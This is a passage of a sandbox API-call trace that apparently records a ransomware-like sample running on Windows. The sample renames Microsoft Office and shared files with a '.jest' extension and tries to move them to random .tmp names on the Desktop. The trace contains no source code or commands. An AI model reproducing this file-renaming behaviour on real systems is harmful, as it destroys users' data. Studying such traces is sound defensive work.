FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.186] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LISTBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\listbox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LISTBOX.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\listbox.jpg.jest")) returned 1 [0170.188] VarBstrFromR4 (in: fltIn=0x479459df, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.74") returned 0x0 [0170.190] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LISTBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\listbox.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TX98b 9gZM5m4JarziSzE4 gMw-PKPiUAhxhV525SDtqyFcP-LQUEdpiiOS-DMW9Lg5f_9S-eMHJrjaKGLZHvAiUxMMB1F6BMqNg3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tx98b 9gzm5m4jarzisze4 gmw-pkpiuahxhv525sdtqyfcp-lquedpiios-dmw9lg5f_9s-emhjrjakglzhvaiuxmmb1f6bmqng3.tmp")) returned 0 [0170.191] GetLastError () returned 0x2 [0170.192] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.193] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml.jest" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml.jest")) returned 1 [0170.196] VarBstrFromR4 (in: fltIn=0x479459e1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.76") returned 0x0 [0170.197] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3aMK mM0aNTsb93fVO 0ba8V75F9VJ0seTH8EBJWUvXzpUPf8w0u_0TFuiUJKgAqnWEXHhgL1xvs J5T_RzB9ISHh95y7-J_fBB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3amk mm0antsb93fvo 0ba8v75f9vj0seth8ebjwuvxzpupf8w0u_0tfuiujkgaqnwexhhgl1xvs j5t_rzb9ishh95y7-j_fbb.tmp")) returned 0 [0170.197] GetLastError () returned 0x2 [0170.198] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.199] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24images.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24images.jpg.jest")) returned 1 [0170.202] VarBstrFromR4 (in: fltIn=0x479459e1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.76") returned 0x0 [0170.203] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\LoginTool24x24Images.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\logintool24x24images.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\i WdZhRFjp70gwoBfrUpQjub0VB7Za1u tF0YddheO5XRLrlK6V943017mkc8MjSmJMZCWckTgemSkE5JdgcwhJ2tfXRJxR PCkj.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i wdzhrfjp70gwobfrupqjub0vb7za1u tf0yddheo5xrlrlk6v943017mkc8mjsmjmzcwcktgemske5jdgcwhj2tfxrjxr pckj.tmp")) returned 0 [0170.203] GetLastError () returned 0x2 [0170.204] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.205] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg.jest")) returned 1 [0170.208] VarBstrFromR4 (in: fltIn=0x479459e3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.77") returned 0x0 [0170.209] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lKtt9oDyogN3XHj66OIZV3iPKLMi1r_juDspyOkfuEPX1o95xf8pidN5Wi2KWpsVro1 JIgPaKu-v0g6tm5l_0uqHmzvvu1Uc9y50.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lktt9odyogn3xhj66oizv3ipklmi1r_judspyokfuepx1o95xf8pidn5wi2kwpsvro1 jigpaku-v0g6tm5l_0uqhmzvvu1uc9y50.tmp")) returned 0 [0170.209] GetLastError () returned 0x2 [0170.209] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.211] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\maroon.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Maroon.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\maroon.css.jest")) returned 1 [0170.213] VarBstrFromR4 (in: fltIn=0x479459e3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.77") returned 0x0 [0170.214] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\maroon.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\88eFQJZl1xakna6Ph2Fv7o9XYtP-Eypxqa7R8c-5i8tsRJySFVWX4BOuO1UKWgwV7YDOtGbFW-U26eLGVoZ6rF7VgGVyW-So6MBhN.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\88efqjzl1xakna6ph2fv7o9xytp-eypxqa7r8c-5i8tsrjysfvwx4bouo1ukwgwv7ydotgbfw-u26elgvoz6rf7vggvyw-so6mbhn.tmp")) returned 0 [0170.215] GetLastError () returned 0x2 [0170.215] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.216] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.xml.jest")) returned 1 [0170.218] VarBstrFromR4 (in: fltIn=0x479459e3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.77") returned 0x0 [0170.219] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\MENU.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\menu.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hrzkYh5upqcbogK8w3YLUL8l e EhEa9iq rM73MZU5TX7Fbzc5hDM396Vx4X9FdLKqFYZjQlgITPhx9wU1PcBLeLa9GOOX588v2V.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hrzkyh5upqcbogk8w3ylul8l e ehea9iq rm73mzu5tx7fbzc5hdm396vx4x9fdlkqfyzjqlgitphx9wu1pcblela9goox588v2v.tmp")) returned 0 [0170.220] GetLastError () returned 0x2 [0170.220] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.221] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimages.jpg.jest")) returned 1 [0170.224] VarBstrFromR4 (in: fltIn=0x479459e5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.79") returned 0x0 [0170.225] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\MessageAttachmentIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\messageattachmenticonimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K470Ko8Ft0cgE4AFxgrIVNZcZMl58WsJykNiuO8rJ uJk5mYsqqpvSoJ6l_Bo0h0lDqjRMppht1LhAhEOJ7yhESrgSXvnKK29Vn.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k470ko8ft0cge4afxgrivnzczml58wsjykniuo8rj ujk5mysqqpvsoj6l_bo0h0ldqjrmppht1lhaheoj7yhesrgsxvnkk29vn.tmp")) returned 0 [0170.226] GetLastError () returned 0x2 [0170.226] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.227] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimages.jpg.jest")) returned 1 [0170.230] VarBstrFromR4 (in: fltIn=0x479459e5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.79") returned 0x0 [0170.231] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_3XlPLgg7BIdDk7mTLru2RUuMaq4rZwEVVopV6rp1xyqkSrZMStzk6T0kxoJ_edmsqJ2yqoKBxcTgkpspO-dfUR 2JqHQbasKs.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_3xlplgg7biddk7mtlru2ruumaq4rzwevvopv6rp1xyqksrzmstzk6t0kxoj_edmsqj2yqokbxctgkpspo-dfur 2jqhqbasks.tmp")) returned 0 [0170.231] GetLastError () returned 0x2 [0170.231] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﰛ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.233] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\messenger.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\messenger.xml.jest")) returned 1 [0170.235] VarBstrFromR4 (in: fltIn=0x479459e5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.79") returned 0x0 [0170.236] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\messenger.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\h7sGOThrCNITVZyvS4qi1sveHvucgFxkQp4dfsEvfe5FFOll4k420--i799I Y67 dIpX_LjeZ5GUWAxXxIiVXvum-FiteK0f7-KO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h7sgothrcnitvzyvs4qi1svehvucgfxkqp4dfsevfe5ffoll4k420--i799i y67 dipx_ljez5guwaxxxiivxvum-fitek0f7-ko.tmp")) returned 0 [0170.236] GetLastError () returned 0x2 [0170.237] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.238] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.jest")) returned 1 [0170.240] VarBstrFromR4 (in: fltIn=0x479459e7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.8") returned 0x0 [0170.241] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ta5-Eu_T3s sIWS_xJlA_kseRBXAr7kS7-Q-BBlQhRmAV44We_1Rf 4H6bAXVM9z2Ym7YZ5dJr 3GJg 48_MToeow kfEhvlrbMkz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ta5-eu_t3s siws_xjla_kserbxar7ks7-q-bblqhrmav44we_1rf 4h6baxvm9z2ym7yz5djr 3gjg 48_mtoeow kfehvlrbmkz.tmp")) returned 0 [0170.241] GetLastError () returned 0x2 [0170.256] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.258] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news.xml.jest")) returned 1 [0170.261] VarBstrFromR4 (in: fltIn=0x479459e9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.82") returned 0x0 [0170.263] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\NEWS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\news.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zPlbAy7pY6vEFTDQi-rppUo4N8CYaBRMRgwrlRzbqrscLfM9N3kAbM9IBxlvE6Pw4J389tmz8ZR DX2DfR4I8QpomDrUNjxvwBLme.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zplbay7py6veftdqi-rppuo4n8cyabrmrgwrlrzbqrsclfm9n3kabm9ibxlve6pw4j389tmz8zr dx2dfr4i8qpomdrunjxvwblme.tmp")) returned 0 [0170.263] GetLastError () returned 0x2 [0170.263] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.265] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nl.rogers.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nl.rogers.com.xml.jest")) returned 1 [0170.268] VarBstrFromR4 (in: fltIn=0x479459eb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.84") returned 0x0 [0170.269] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nl.rogers.com.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sv7gX9yQ7bYwUQicVCKuBboITGa9c_myDpqahy925EeKC0oGSBW1l_I9At3kMNEDiXf492Ojvy31kF9pgCDt5rP178jOV449JCRv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sv7gx9yq7bywuqicvckubboitga9c_mydpqahy925eekc0ogsbw1l_i9at3kmnedixf492ojvy31kf9pgcdt5rp178jov449jcrv.tmp")) returned 0 [0170.269] GetLastError () returned 0x2 [0170.269] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.271] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierclosebutton.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierclosebutton.jpg.jest")) returned 1 [0170.276] VarBstrFromR4 (in: fltIn=0x479459eb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.84") returned 0x0 [0170.277] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierCloseButton.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierclosebutton.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uHY zmTN_GILFuQDDSxv-bFdz-Rd5F _JCIdMZ4mk3OLbjmkj2vw2AEtp3l2KIGe-E5H2TPLAJfglJfWbfeHS2tYBofpDRu8m0fo.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uhy zmtn_gilfuqddsxv-bfdz-rd5f _jcidmz4mk3olbjmkj2vw2aetp3l2kige-e5h2tplajfgljfwbfehs2tybofpdru8m0fo.tmp")) returned 0 [0170.277] GetLastError () returned 0x2 [0170.277] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.279] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisabledownarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisabledownarrow.jpg.jest")) returned 1 [0170.281] VarBstrFromR4 (in: fltIn=0x479459eb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.84") returned 0x0 [0170.282] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDisableDownArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierdisabledownarrow.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\p8X_2yEcRRBhHgpk-GiTBYY10T8sL__KLWnDjm_Gj-mLYA86YbrWcAJdiOeIuxkfcecokVBMHWlhz8KKu_VqGGE8n4s03WHK9G4dy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\p8x_2yecrrbhhgpk-gitbyy10t8sl__klwndjm_gj-mlya86ybrwcajdioeiuxkfcecokvbmhwlhz8kku_vqgge8n4s03whk9g4dy.tmp")) returned 0 [0170.282] GetLastError () returned 0x2 [0170.282] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.284] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifieruparrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg.jest" (normalized: "c:\\program 